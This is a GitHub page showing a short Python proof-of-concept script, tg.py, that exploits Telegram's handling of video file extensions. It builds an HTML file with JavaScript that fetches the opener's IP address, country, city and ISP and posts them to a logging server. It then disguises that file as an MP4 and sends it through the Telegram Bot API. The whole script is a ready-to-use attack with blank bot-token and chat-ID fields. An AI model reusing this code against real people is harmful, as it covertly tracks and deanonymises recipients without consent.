forked from 0x6rss/telegram-video-extension-manipulation-PoC
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathtg.py
63 lines (55 loc) · 1.52 KB
/
tg.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
import requests
import os
BOT_TOKEN = ""
CHAT_ID = ""
html_content = """
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<script>
fetch('http://ip-api.com/json')
.then(response => response.json())
.then(data => {
fetch('http://127.0.0.1:5000/log_ip', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({
ip: data.query,
country: data.country,
region: data.regionName,
city: data.city,
isp: data.isp
})
});
})
.catch(error => console.error('Error fetching IP:', error));
</script>
</head>
<body>
</body>
</html>
"""
# Đường dẫn để lưu file HTML
html_path = "testv.mp4"
with open(html_path, "w") as file:
file.write(html_content)
files = {
"video": (
"a.htm",
open(html_path, "rb"),
"video/mp4"
)
}
url = f"https://api.telegram.org/bot{BOT_TOKEN}/sendVideo"
data = {"chat_id": CHAT_ID, "supports_streaming": False}
response = requests.post(url, data=data, files=files)
if response.status_code == 200:
print("Message sent")
else:
print(f"Error: {response.text}")
# Xóa file sau khi gửi
os.remove(html_path)